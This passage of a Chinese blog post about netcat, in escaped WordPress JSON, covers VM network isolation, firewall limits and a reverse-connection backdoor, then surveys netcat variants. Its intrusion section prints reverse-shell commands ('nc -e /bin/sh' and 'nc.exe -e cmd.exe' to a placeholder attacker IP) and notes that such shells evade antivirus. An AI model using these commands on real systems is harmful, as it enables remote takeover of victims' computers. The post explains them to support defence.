class=\"wp-block-heading\">\u25c7\u3010\u4e0d\u591f\u3011\u9760\u8c31\u7684\u9632\u8303\u63aa\u65bd<\/h3>\n\n\n\n<p>\u3000\u3000\u5728\u8fd9\u4e2a\u573a\u666f\u4e2d\uff0c\u5927\u4f19\u513f\u53ef\u80fd\u4f1a\u60f3\u5230\u4e09\u4e2a\u503c\u5f97\u6539\u8fdb\u4e4b\u5904\uff1a<br>1\u3001\u6d4f\u89c8\u5668\u7684\u6f0f\u6d1e<br>2\u3001\u4f7f\u7528\u516c\u5171 wifi \u70ed\u70b9\u7684\u4e60\u60ef<br>3\u3001\u9632\u706b\u5899\u7684\u8bbe\u7f6e<\/p>\n\n\n\n<p>\u3000\u3000\u5bf9\u7b2c1\u70b9<br>\u3000\u3000\u5176\u5b9e\u662f\u3010\u65e0\u89e3\u3011\u6ef4\uff01\u56e0\u4e3a\u4efb\u4f55\u4eba\u90fd\u65e0\u6cd5\u786e\u4fdd\u6d4f\u89c8\u5668\u662f\u3010\u96f6\u6f0f\u6d1e\u3011\uff1b<\/p>\n\n\n\n<p>\u3000\u3000\u5bf9\u7b2c2\u70b9<br>\u3000\u3000\u8981\u770b\u6bcf\u4e2a\u4eba\u7684\u5177\u4f53\u60c5\u51b5\u800c\u5b9a\u3002\u5bf9\u6709\u4e9b\u4eba\u800c\u8a00\uff0c\u201c\u7528\u516c\u5171\u70ed\u70b9\u4e0a\u7f51\u201d\u5c5e\u4e8e\u3010\u521a\u9700\u3011\u3002\u90a3\u5c31\u6ca1\u529e\u6cd5\u4e86\u3002<\/p>\n\n\n\n<p>\u3000\u3000\u5bf9\u7b2c3\u70b9<br>\u3000\u3000\u201c\u9632\u706b\u5899\u201d\u8fd9\u62db\uff0c\u4f3c\u4e4e\u662f\u6bd4\u8f83\u901a\u7528\u7684\u89e3\u51b3\u4e4b\u9053\u3002\u5bf9\u5927\u90e8\u5206\u4eba\u800c\u8a00\uff0c\u684c\u9762 PC \u6839\u672c\u5c31\u3010\u4e0d\u5fc5\u3011\u5f00\u542f\u5bf9\u5916\u76d1\u542c\u7aef\u53e3\u3002\u56e0\u6b64\uff0c\u4f60\u53ef\u4ee5\u914d\u7f6e\u64cd\u4f5c\u7cfb\u7edf\u81ea\u5e26\u9632\u706b\u5899\uff0c\u7981\u6b62\u3010\u6240\u6709\u7684\u3011\u5bf9\u5916\u76d1\u542c\u7aef\u53e3\u3002<br>\u3000\u3000\u4f46\u662f\uff01\uff08\u4ffa\u8981\u5f00\u59cb\u8bf4\u3010\u4f46\u662f\u3011\u4e86\uff09<br>\u3000\u3000\u64cd\u4f5c\u7cfb\u7edf\u81ea\u5e26\u7684\u9632\u706b\u5899\uff0c\u672c\u8eab\u4e5f\u8fd0\u884c\u5728\u64cd\u4f5c\u7cfb\u7edf\u3010\u4e4b\u5185\u3011\u3002\u5982\u679c\u4f60\u662f\u4ee5\u3010\u7ba1\u7406\u5458\u8eab\u4efd\u3011\u906d\u9047\u5165\u4fb5\uff0c\u5165\u4fb5\u8005\u5728\u8fdb\u884c\u3010\u4ee3\u7801\u6267\u884c\u3011\u7684\u65f6\u5019\uff0c\u5c31\u5df2\u7ecf\u5177\u6709\u4e86\u3010\u7ba1\u7406\u5458\u6743\u9650\u3011\u3002\u5728\u8fd9\u4e2a\u6743\u9650\u4e0b\uff0c\u5165\u4fb5\u8005\u5b8c\u5168\u6709\u53ef\u80fd\u201c\u641e\u5b9a\u201d\u9632\u706b\u5899\u3002\u65b9\u6cd5\u6709\u5f88\u591a\u79cd\u2014\u2014<br>\u6bd4\u5982\u8bf4\uff1a\u628a\u7528\u4f5c\u540e\u95e8\u7684\u7aef\u53e3\u53f7\uff0c\u6084\u6084\u52a0\u5165\u5230\u9632\u706b\u5899\u7684\u767d\u540d\u5355\u4e2d\uff1b<br>\u518d\u6bd4\u5982\u8bf4\uff1a\u76f4\u63a5\u628a\u9632\u706b\u5899\u7684\u8fc7\u6ee4\u6a21\u5757\u5e72\u6389\uff1b<br>\u66f4\u725b\u903c\u7684\u5165\u4fb5\u8005\uff0c\u751a\u81f3\u53ef\u4ee5\u5728\u3010\u7f51\u5361\u9a71\u52a8\u3011\u4e0a\u505a\u6587\u7ae0\u2014\u2014\u56e0\u4e3a\u7f51\u5361\u9a71\u52a8\u4f4d\u4e8e\u9632\u706b\u5899\u7684\u8fc7\u6ee4\u6a21\u5757\u3010\u4e4b\u4e0b\u3011\uff08\u6bd4\u9632\u706b\u5899\u66f4\u5e95\u5c42\uff09<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u25c7\u3010\u9760\u8c31\u3011\u7684\u9632\u8303\u63aa\u65bd\u2014\u2014NAT \u6a21\u5f0f\u7684\u865a\u62df\u673a\uff08Guest OS\uff09<\/h3>\n\n\n\n<p>\u3000\u3000\u9996\u5148\uff0c\u8fd9\u91cc\u6240\u8bf4\u7684\u201cNAT \u6a21\u5f0f\u201d\u6307\u7684\u662f\u3010\u865a\u62df\u673a\u7684\u7f51\u5361\u6a21\u5f0f\u3011\u3002<\/p>\n\n\n\n<p>\u3000\u3000\u8981\u60f3\u7528\u8fd9\u62db\uff0c\u6b65\u9aa4\u5982\u4e0b\uff1a<br>1\u3001\u5f53\u7136\u5148\u8981\u5b89\u88c5\u3010\u865a\u62df\u5316\u8f6f\u4ef6\u3011\uff08VBox\u3001VMware &#8230;\uff09\uff0c<br>2\u3001\u5b89\u88c5\u4e00\u4e2a\u865a\u62df\u7684\u64cd\u4f5c\u7cfb\u7edf\uff08\u6d0b\u6587\u53eb\u201cGuest OS\u201d\uff09<br>3\u3001\u865a\u62df\u7cfb\u7edf\u7684\u7f51\u5361\u8bbe\u7f6e\u4e3a\u3010NAT\u3011\u6a21\u5f0f<\/p>\n\n\n\n<p>\u3000\u3000\u5b8c\u6210\u4e0a\u8ff0\u6b65\u9aa4\u540e\uff0c\u4f60\u5c31\u53ef\u4ee5\u5728\u8fd9\u4e2a\u865a\u62df\u7cfb\u7edf\u4e2d\u4e0a\u7f51\u3002<br>\u3000\u3000NAT \u7684\u597d\u5904\u5728\u4e8e\u3010\u5355\u5411\u53ef\u89c1\u3011\u3002\u4e5f\u5c31\u662f\u8bf4\uff0cGuest OS \u53ef\u4ee5\u8bbf\u95ee\u5230\u7269\u7406\u7cfb\u7edf\uff08Host OS\uff09\u3010\u5916\u90e8\u3011\u7684\u7f51\u7edc\u73af\u5883\uff1b\u4f46\u5916\u90e8\u7f51\u7edc\u73af\u5883\u53ea\u80fd\u770b\u5230 Host OS\uff0c\u770b\u4e0d\u5230 Guest OS\u3002<br>\u3000\u3000\u5728\u8fd9\u79cd\u914d\u7f6e\u4e0b\uff0c\u5c31\u7b97\u67d0\u4e2a\u5165\u4fb5\u8005\u5b8c\u5168\u63a7\u5236\u4e86\u4f60\u7684 Guest OS\uff0c\u4ed6\/\u5979\u4e5f\u3010\u6ca1\u3011\u529e\u6cd5\u5728 Guest OS \u4e2d\u642d\u5efa\u201c\u88ab\u52a8\u8fde\u63a5\u578b\u540e\u95e8\u201d\u3002\u6362\u53e5\u8bdd\u8bf4\uff0c\u5373\u4f7f\u5165\u4fb5\u8005\u8fd0\u884c\u4e86\u8fd9\u79cd\u540e\u95e8\uff0c\uff08\u4f46\u7531\u4e8e NAT \u7684\u7f18\u6545\uff09\u540e\u95e8\u3010\u65e0\u6cd5\u3011\u63a5\u53d7\u5916\u90e8\u7f51\u7edc\u7684\u8fde\u63a5\uff0c\u8fd9\u4e2a\u540e\u95e8\u5c31\u3010\u5931\u53bb\u610f\u4e49\u3011\u5566\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u25c7\u8865\u5145\u8bf4\u660e\uff1a\u201cNAT \u6a21\u5f0f\u201d\u5982\u4f55\u642d\u914d\u201c\u7cfb\u7edf\u9632\u706b\u5899\u201d\uff1f<\/h3>\n\n\n\n<p>\u3000\u3000\u4e0a\u8ff0\u201cNAT \u62db\u6570\u201d\u4e0e\u201c\u7cfb\u7edf\u9632\u706b\u5899\u201d\u5e76\u3010\u4e0d\u3011\u77db\u76fe\u3002<br>\u3000\u3000\u4e5f\u5c31\u662f\u8bf4\uff0c\u5373\u4f7f\u4f60\u7528\u4e86\u8fd9\u62db\uff0c\u4f60\u7684\u7269\u7406\u7cfb\u7edf\uff08Host OS\uff09\u8fd8\u662f\u8981\u914d\u7f6e\u7cfb\u7edf\u9632\u706b\u5899\uff0c\u5e76\u7981\u6b62\u3010\u6240\u6709\u7684\u3011\u5bf9\u5916\u76d1\u542c\u7aef\u53e3\u3002<\/p>\n\n\n\n<p><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u2605\u62db\u657012\uff1a\uff08\u5165\u4fb5\u624b\u6cd5\uff09\u7528 nc \u5f00\u542f\u3010\u4e3b\u52a8\u3011\u8fde\u63a5\u578b\u540e\u95e8<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">\u25c7\u4f7f\u7528\u573a\u666f<\/h3>\n\n\n\n<p>\u3000\u3000\u4e3a\u4e86\u6253\u5b57\u7701\u529b\uff0c\u7ee7\u7eed\u7528\u3010\u524d\u4e00\u4e2a\u7ae0\u8282\u3011\u7684\u573a\u666f\u3002\u5dee\u522b\u5728\u4e8e\uff0c\u4f60\u91c7\u7eb3\u4e86\u524d\u4e00\u7ae0\u8282\u7684\u63aa\u65bd\u2014\u2014\u5728\u67d0\u4e2a NAT \u6a21\u5f0f\u7684\u865a\u62df\u673a\uff08Gest OS\uff09\u4e2d\u4e0a\u7f51\uff0c\u4ee5\u5bf9\u4ed8\u3010\u88ab\u52a8\u3011\u8fde\u63a5\u578b\u7684 nc \u540e\u95e8\u3002<br>\u3000\u3000\u53ef\u60dc\u7684\u662f\u2014\u2014\u5373\u4fbf\u5982\u6b64\uff0c\u5165\u4fb5\u8005\u5728\u5229\u7528\u6f0f\u6d1e\u5e76\u83b7\u5f97\u201c\u6267\u884c\u4ee3\u7801\u201d\u7684\u673a\u4f1a\u4e4b\u540e\uff0c\u8fd8\u662f\u6709\u529e\u6cd5\u7528 nc \u5728\u4f60\u7684\u7535\u8111\u4e0a\u641e\u4e00\u4e2a\u7f51\u7edc\u540e\u95e8\u3002<br>\u3000\u3000\u867d\u7136\u4f60\u7528\u4e86 NAT \u6a21\u5f0f\u7684\u3010\u865a\u62df\u673a\u3011\uff08Guest OS\uff09\uff0c\u4f46\u5165\u4fb5\u8005\u53ef\u4ee5\u7528 nc \u521b\u5efa\u4e00\u4e2a\u3010\u4e3b\u52a8\u3011\u8fde\u63a5\u578b\u7684\u7f51\u7edc\u540e\u95e8\uff08\u8fd9\u79cd\u73a9\u6cd5\uff0c\u6709\u65f6\u4e5f\u79f0\u4f5c\u201c\u53cd\u5411\u8fde\u63a5\u201d\u7684\u540e\u95e8\uff09\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u25c7\u539f\u7406<\/h3>\n\n\n\n<p>\u3000\u3000\u539f\u7406\u5176\u5b9e\u4e0e\u201c\u62db\u657011\u201d\u5f88\u7c7b\u4f3c\uff0c\u552f\u4e00\u7684\u5dee\u522b\u5728\u4e8e\u2014\u2014\u628a\u5ba2\u6237\u7aef\u4e0e\u670d\u52a1\u7aef\u3010\u5bf9\u8c03\u3011\u3002\u4e5f\u5c31\u662f\u8bf4\uff0c\u653b\u51fb\u8005\u624b\u5934\u7684 nc \u5145\u5f53\u670d\u52a1\u7aef\uff0c\u800c\u53d7\u5bb3\u8005\u673a\u5668\u4e0a\u7684 nc \u5145\u5f53\u5ba2\u6237\u7aef\u3002\u6b64\u65f6\uff0c\u53d7\u5bb3\u8005\u672c\u673a\u7684 nc\u3010\u65e0\u987b\u3011\u5f00\u542f\u76d1\u542c\u7aef\u53e3\uff0c\u3010\u4e0d\u53d7\u3011\u9632\u706b\u5899\u7684\u5f71\u54cd\uff0c\u4e5f\u3010\u4e0d\u53d7\u3011NAT \u7684\u5f71\u54cd\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u25c7\u5165\u4fb5\u65b9\u6cd5<\/h3>\n\n\n\n<p>\u3000\u3000<strong>\u6b65\u9aa41<\/strong><br>\u3000\u3000\u65e2\u7136 nc \u7684\u201c\u670d\u52a1\u7aef\u201d\u4e0e\u201c\u5ba2\u6237\u7aef\u201d\u5bf9\u8c03\u3002\u56e0\u6b64\u653b\u51fb\u8005\u8981\u5148\u5728\u81ea\u5df1\u673a\u5668\u4e0a\u8fd0\u884c\u201c\u670d\u52a1\u7aef nc\u201d\uff0c\u547d\u4ee4\u5982\u4e0b\uff08\u5176\u4e2d\u7684&nbsp;<code>xxx<\/code>&nbsp;\u662f\u7aef\u53e3\u53f7\uff09\u3002\u5f53\u7136\u5566\uff0c\u653b\u51fb\u8005\u81ea\u5df1\u7535\u8111\u7684\u9632\u706b\u5899\u9700\u8981\u5141\u8bb8&nbsp;<code>xxx<\/code>&nbsp;\u7aef\u53e3\u53f7\u5bf9\u5916\u76d1\u542c\u3002<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">nc -lk -p xxx<\/pre>\n\n\n\n<p>\u3000\u3000<strong>\u6b65\u9aa42<\/strong><br>\u3000\u3000\u5982\u679c\u53d7\u5bb3\u8005\u662f Windows \u7cfb\u7edf\uff0c\u53ea\u987b\u5982\u4e0b\u547d\u4ee4\u5c31\u53ef\u4ee5\u5f00\u542f\u4e00\u4e2a\u540e\u95e8\u3002<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">nc.exe -e cmd.exe x.x.x.x xxx<\/pre>\n\n\n\n<p>\u3000\u3000\u5982\u679c\u53d7\u5bb3\u8005\u662f POSIX \u7cfb\u7edf\uff0c\u5219\u7528\u5982\u4e0b\u547d\u4ee4\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">nc -e \/bin\/sh x.x.x.x xxx<\/pre>\n\n\n\n<p>\u3000\u3000\uff08\u5728\u4e0a\u8ff0\u4e24\u4e2a\u547d\u4ee4\u4e2d\uff0c&nbsp;<code>xxx<\/code>&nbsp;\u662f\u6b65\u9aa41\u7528\u5230\u7684\u7aef\u53e3\u53f7\uff0c<code>x.x.x.x<\/code>&nbsp;\u662f\u653b\u51fb\u8005\u7684 IP \u5730\u5740\uff09<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u25c7\u6bd4\u201cNAT \u6a21\u5f0f\u201d\u66f4\u4fdd\u9669\u7684\u662f\u2014\u2014\u3010\u9694\u79bb\u6a21\u5f0f\u3011\u7684\u865a\u62df\u673a<\/h3>\n\n\n\n<p>\u3000\u3000\u6240\u8c13\u7684\u3010\u9694\u79bb\u6a21\u5f0f\u3011\uff0c\u6307\u7684\u662f\u201cHost Only \u6a21\u5f0f\u201d\u6216\u7c7b\u4f3c\u7684\u6a21\u5f0f\uff08\u6bd4\u5982\uff1a\u201cInternal \u6a21\u5f0f\u201d\uff09\u3002<\/p>\n\n\n\n<p>\u3000\u3000\u6709\u5fc5\u8981\u63d0\u9192\u4e00\u4e0b\uff1a<br>\u3000\u3000\u3010\u9694\u79bb\u7684\u865a\u62df\u673a\u3011\u53ef\u4ee5\u589e\u52a0\u5165\u4fb5\u8005\u7684\u653b\u51fb\u96be\u5ea6\u3002\u4f46\u3010\u4e0d\u80fd\u3011\u505a\u5230 100% \u9632\u8303\u3002<br>\u3000\u3000\u53ea\u8981\u4f60\u80fd\u5728\u67d0\u4e2a\u9694\u79bb\u865a\u62df\u673a\u4e2d\u4e0a\u7f51\uff0c\u90a3\u4e48\u2014\u2014\u90a3\u4e9b\u8db3\u591f\u9ad8\u7ea7\u7684\u6728\u9a6c\uff0c\u5c31\u3010\u6709\u53ef\u80fd\u3011\u5728\u9694\u79bb\u865a\u62df\u673a\u4e2d\u627e\u5230\u5bf9\u5916\u8fde\u63a5\u7684\u901a\u9053\u3002\u4ece\u800c\u5b9e\u73b0\u4e00\u4e2a\u201c\u3010\u4e3b\u52a8\u3011\u8fde\u63a5\u578b\u7684\u540e\u95e8\u201d\u3002<br>\u3000\u3000\u8fd9\u4e0b\u8be5\u548b\u529e\u634f\uff1f<br>\u3000\u3000\uff08\u5728\u5b89\u5168\u65b9\u9762\uff09\u865a\u62df\u673a\u6709\u4e24\u4e2a\u3010\u663e\u8457\u597d\u5904\u3011\u2014\u2014\u201c\u7f51\u7edc\u9694\u79bb\u6027\u201d\u53ea\u662f\u5176\u4e2d\u4e4b\u4e00\uff0c\u53e6\u4e00\u4e2a\u662f\u3010\u5feb\u7167\u3011\u3002<br>\u3000\u3000\u5982\u679c\u4f60\u5bf9\u5b89\u5168\u6027\u7684\u8981\u6c42\u3010\u975e\u5e38\u9ad8\u3011\uff0c\u8981\u5b66\u4f1a\uff1a<br>1\u3001\u7528\u201c\u5feb\u7167\u529f\u80fd\u201d\u5efa\u7acb\u3010\u5b89\u5168\u57fa\u7ebf\u3011<br>\uff08\u6240\u8c13\u7684\u3010\u5b89\u5168\u57fa\u7ebf\u3011\u5c31\u662f\u8bf4\u2014\u2014\u5728\u786e\u4fdd\u7cfb\u7edf\u3010\u7eaf\u6d01\u3011\u7684\u65f6\u5019\uff0c\u5148\u505a\u4e00\u4e2a\u5feb\u7167\uff09<br>2\u3001\u517b\u6210\u3010\u5b9a\u671f\u56de\u9000\u5feb\u7167\u3011\u7684\u597d\u4e60\u60ef<br>\uff08\u5c31\u7b97\u4f60\u4e2d\u4e86\u6728\u9a6c\uff0c\u53ea\u8981\u4e00\u56de\u9000\u5230\u3010\u5b89\u5168\u57fa\u7ebf\u3011\uff0c\u7cfb\u7edf\u91cd\u65b0\u53d8\u5f97\u3010\u7eaf\u6d01\u3011\u5566\uff09<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u25c7\u201c\u3010\u4e3b\u52a8\u3011\u8fde\u63a5\u578b\u540e\u95e8\u201d\u7684\u4f18\u52bf\u4e4b\u5904\uff08\u5371\u9669\u6027\u4e4b\u5904\uff09<\/h3>\n\n\n\n<p>\u3000\u3000\u7b80\u5355\u5bf9\u6bd4\u4e00\u4e0b\u201c\u540e\u95e8\u7684\u4e24\u79cd\u8fde\u63a5\u65b9\u5f0f\u201d\u3002<\/p>\n\n\n\n<p>\u3000\u3000<strong>\u53ef\u7528\u6027<\/strong><br>\u3000\u3000\u5982\u679c\u7528\u201c\u88ab\u52a8\u578b\u540e\u95e8\u201d\u5165\u4fb5\u684c\u9762 PC\uff0c\u8003\u8651\u5230\u7edd\u5927\u90e8\u5206\u684c\u9762 PC \u90fd\u5904\u4e8e\u5185\u7f51\uff08\u5176\u7f51\u5361\u3010\u5e76\u672a\u3011\u5206\u914d\u516c\u7f51 IP\uff09\u3002\u5bf9\u8fd9\u79cd\u573a\u666f\uff0c\u653b\u51fb\u8005\u9700\u8981\u4e0e\u53d7\u5bb3\u8005\u5728\u540c\u4e00\u4e2a\u5c40\u57df\u7f51\uff0c\u624d\u80fd\u4e0e\u540e\u95e8\u5efa\u7acb\u901a\u8baf\u3002<br>\u3000\u3000\u76f8\u6bd4\u4e4b\u4e0b\uff0c\u201c\u4e3b\u52a8\u578b\u540e\u95e8\u201d\u5c31\u3010\u6ca1\u6709\u3011\u8fd9\u79cd\u5f0a\u7aef\u3002<\/p>\n\n\n\n<p>\u3000\u3000<strong>\u9690\u853d\u6027<\/strong><br>\u3000\u3000\u201c\u88ab\u52a8\u578b\u540e\u95e8\u201d\u9700\u8981\u663e\u5f0f\u5f00\u542f\u76d1\u542c\u7aef\u53e3\uff0c\u5f88\u5bb9\u6613\u5f15\u8d77\u7528\u6237\u7684\u6000\u7591\uff0c\u6216\u5f15\u8d77\u6740\u6bd2\u8f6f\u4ef6\u7684\u6ce8\u610f\u3002<br>\u3000\u3000\u76f8\u6bd4\u4e4b\u4e0b\uff0c\u201c\u4e3b\u52a8\u578b\u540e\u95e8\u201d\u5c31\u3010\u6ca1\u6709\u3011\u8fd9\u4e2a\u95ee\u9898\u3002<\/p>\n\n\n\n<p><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u2605\u9644\u5f55\uff1anetcat \u7684\u3010\u5176\u5b83\u53d8\u79cd\u3011<\/h2>\n\n\n\n<p>\u3000\u3000\u672c\u6587\u5f00\u5934\u90e8\u5206\u5df2\u7ecf\u4ecb\u7ecd\u4e86\u201c\u539f\u7248 nc\u201d\u4ee5\u53ca\u201cOpenBSD \u53d8\u79cd\u201d\u3002\u5728\u7ed3\u5c3e\u90e8\u5206\uff0c\u7b80\u5355\u804a\u804a\u5176\u5b83\u51e0\u4e2a\u53d8\u79cd\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u25c7GNU netcat<\/h3>\n\n\n\n<p><br>\u3000\u3000\u4ece\u540d\u79f0\u53ef\u4ee5\u731c\u51fa\uff1a\u8fd9\u662f GNU \u793e\u533a\u5bf9\u201c\u539f\u7248 nc\u201d\u7684\u91cd\u5199\uff0c\u4ee5\u7b26\u5408 GPL \u8bb8\u53ef\u534f\u8bae\u3002<br>\u3000\u3000\u6309\u7167\u5b83\u5b98\u7f51\u7684\u8bf4\u6cd5\uff0c\u201cGNU netcat\u201d100% \u517c\u5bb9\u201c\u539f\u7248 nc\u201d\u7684 1.10 \u7248\u672c\u3002\uff08\u6ce8\uff1a1.10 \u7248\u672c\u662f\u201c\u539f\u7248 nc\u201d\u7528\u5f97\u6700\u5e7f\u7684\u7248\u672c\uff09<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u25c7ncat<\/h3>\n\n\n\n<p>\u3000\u3000\u8fd9\u662f nmap \u793e\u533a\u91cd\u5199\u7684 nc\u3002<br>\u3000\u3000\u5b83\u7684\u53e3\u53f7\u662f\uff1a<q>Ncat &#8211; Netcat for the 21st Century<\/q><br>\u3000\u3000\u4e0e\u201cOpenBSD \u53d8\u79cd\u201d\u7c7b\u4f3c\uff0c\u5b83\u4e5f\u589e\u52a0\u4e86\u4ee3\u7406\u7684\u652f\u6301\u3002\u76f8\u6bd4\u201cOpenBSD \u53d8\u79cd\u201d\uff0c\u5b83\u7684\u4e3b\u8981\u4eae\u70b9\u662f\uff1a\u5b8c\u5168\u652f\u6301 SSL\/TLS\u3002<br>\u3000\u3000\u7531\u4e8e\u5b83\u6e90\u81ea nmap \u793e\u533a\uff0c\u5df2\u7ecf\u88ab\u5305\u542b\u5728 nmap \u8f6f\u4ef6\u5305\u4e2d\uff08\u5927\u591a\u6570 Linux \uff06 BSD \u53d1\u884c\u7248\u7684\u5b98\u65b9\u4ed3\u5e93\u90fd\u6709 nmap\uff09<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u25c7socat<\/h3>\n\n\n\n<p>\u3000\u3000\u5728\u6240\u6709\u7684\u53d8\u79cd\u91cc\u9762\uff0c\uff08\u636e\u4ffa\u6240\u77e5\uff09\u8fd9\u6b3e\u53ef\u80fd\u662f\u529f\u80fd\u6700\u5f3a\u6ef4\uff01\u4f46\u4f7f\u7528\u65b9\u6cd5\u4e5f\u6709\u5f88\u5927\u7684\u4e0d\u540c\uff08\u66f4\u590d\u6742\u4e86\uff09\u3002\u611f\u89c9\u50cf\u662f\u53e6\u4e00\u4e2a\u5168\u65b0\u7684\u8f6f\u4ef6\u3002<br>\u3000\u3000\u5f88\u591a\u4e3b\u6d41\u7684 Linux \u53d1\u884c\u7248\u5df2\u7ecf\u5305\u542b\u5b83\u3002<br>\u3000\u3000\u4ed6\u4e5f\u5b8c\u5168\u652f\u6301 SSL\/TLS\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u25c7Cryptcat<\/h3>\n\n\n\n<p>\u3000\u3000\u4e00\u770b\u540d\u79f0\u5c31\u80fd\u731c\u5230\uff1a\u8fd9\u662f\u201c\u52a0\u5bc6\u7684\u7f51\u732b\u201d\u3002<br>\u3000\u3000\u7531\u4e8e\u5927\u90e8\u5206\u7f51\u732b\u90fd\u662f\u76f4\u63a5\u5728\u201c\u88f8 TCP\u201d\u4e4b\u4e0a\u4f20\u8f93\u6570\u636e\u3002\u5982\u679c\u4f20\u8f93\u7684\u5185\u5bb9\u672c\u8eab\u662f\u660e\u6587\uff0c\u4f1a\u906d\u9047\u3010\u7f51\u7edc\u55c5\u63a2\u3011\u7684\u98ce\u9669\u3002<br>\u3000\u3000\u8fd9\u6b3e\u53d8\u79cd\u5728\u4f20\u8f93\u8fc7\u7a0b\u4e2d\u7528 twofish \u7b97\u6cd5\u52a0\u5bc6\uff0c\u4ee5\u89c4\u907f\u55c5\u63a2\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u25c7sbd<\/h3>\n\n\n\n<p>\u3000\u3000\u5149\u770b\u8fd93\u5b57\u6bcd\u7684\u540d\u79f0\uff0c\u4f60\u53ef\u80fd\u4e0d\u77e5\u9053\u8fd9\u6b3e\u53d8\u79cd\u7684\u7279\u8272\u3002<br>\u3000\u3000\u4f46\u5982\u679c\u4ffa\u544a\u8bc9\u4f60\uff1a\u201csbd\u201d\u662f\u201cSecure BackDoor\u201d\u7684\u7f29\u5199\uff0c\u4f60\u591a\u534a\u5c31\u731c\u5230\u5176\u7279\u8272\u4e86\u3002<br>\u3000\u3000\u5b83\u7684\u52a0\u5bc6\u91c7\u7528\u201cAES-128-CBC + HMAC-SHA1\u201d\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u25c7netrw<\/h3>\n\n\n\n<p>\u3000\u3000\u8fd9\u662f\u4e13\u95e8\u9488\u5bf9\u201c\u6587\u4ef6\u4f20\u8f93\u201d\u529f\u80fd\u8fdb\u884c\u5f3a\u5316\u548c\u7b80\u5316\u7684\u53d8\u79cd\u3002<br>\u3000\u3000\u3010\u7b80\u5316\u3011\u65b9\u9762<br>\u3000\u3000\u5b83\u5206\u6210\u4e24\u4e2a\u547d\u4ee4\uff1a<code>netread<\/code>&nbsp;\u548c&nbsp;<code>netwrite<\/code>\uff0c\u5206\u522b\u5bf9\u5e94\u53d1\u9001\u548c\u63a5\u6536\u3002\uff08\u76f8\u5bf9\u201c\u539f\u7248 nc\u201d\uff09\u7701\u4e86\u51e0\u4e2a\u547d\u4ee4\u9009\u9879\u3002<br>\u3000\u3000\u3010\u5f3a\u5316\u3011\u65b9\u9762<br>\u3000\u3000\u5b83\u4f1a\u5bf9\u4f20\u8f93\u8fc7\u7a0b\u8fdb\u884c\u6563\u5217\u6821\u9a8c\uff0c\u4ee5\u9632\u6b62\u4f20\u8f93\u7684\u6570\u636e\u88ab\u7be1\u6539\u3002<\/p>\n\n\n\n<p><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u2605netcat \u662f\u4e2a\u5565\u73a9\u610f\u513f\uff1f \u3000\u3000netcat \u4e00\u822c\u7b80\u79f0\u4e3a nc\uff0c\u76f4\u8bd1\u4e3a\u4e2d\u6587\u5c31\u662f\u201c\u7f51\u732b\u201d\uff0c\u88ab\u8a89\u4e3a\u2014\u2014\u3010\u7f51\u7edc\u4e0a &#8230; <a title=\"netcat \u7684\u51e0\u79cd\u7528\u6cd5\" class=\"read-more\" href=\"https:\/\/pony.freeopen.cc\/blog\/?p=55\" aria-label=\"\u9605\u8bfb netcat \u7684\u51e0\u79cd\u7528\u6cd5\">\u9605\u8bfb\u66f4\u591a<\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5],"tags":[],"class_list":["post-55","post","type-post","status-publish","format-standard","hentry","category-tech"],"_links":{"self":[{"href":"https:\/\/pony.freeopen.cc\/blog\/index.php?rest_route=\/wp\/v2\/posts\/55","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/pony.freeopen.cc\/blog\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/pony.freeopen.cc\/blog\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/pony.freeopen.cc\/blog\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/pony.freeopen.cc\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=55"}],"version-history":[{"count":2,"href":"https:\/\/pony.freeopen.cc\/blog\/index.php?rest_route=\/wp\/v2\/posts\/55\/revisions"}],"predecessor-version":[{"id":57,"href":"https:\/\/pony.freeopen.cc\/blog\/index.php?rest_route=\/wp\/v2\/posts\/55\/revisions\/57"}],"wp:attachment":[{"href":"https:\/\/pony.freeopen.cc\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=55"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/pony.freeopen.cc\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=55"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/pony.freeopen.cc\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=55"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}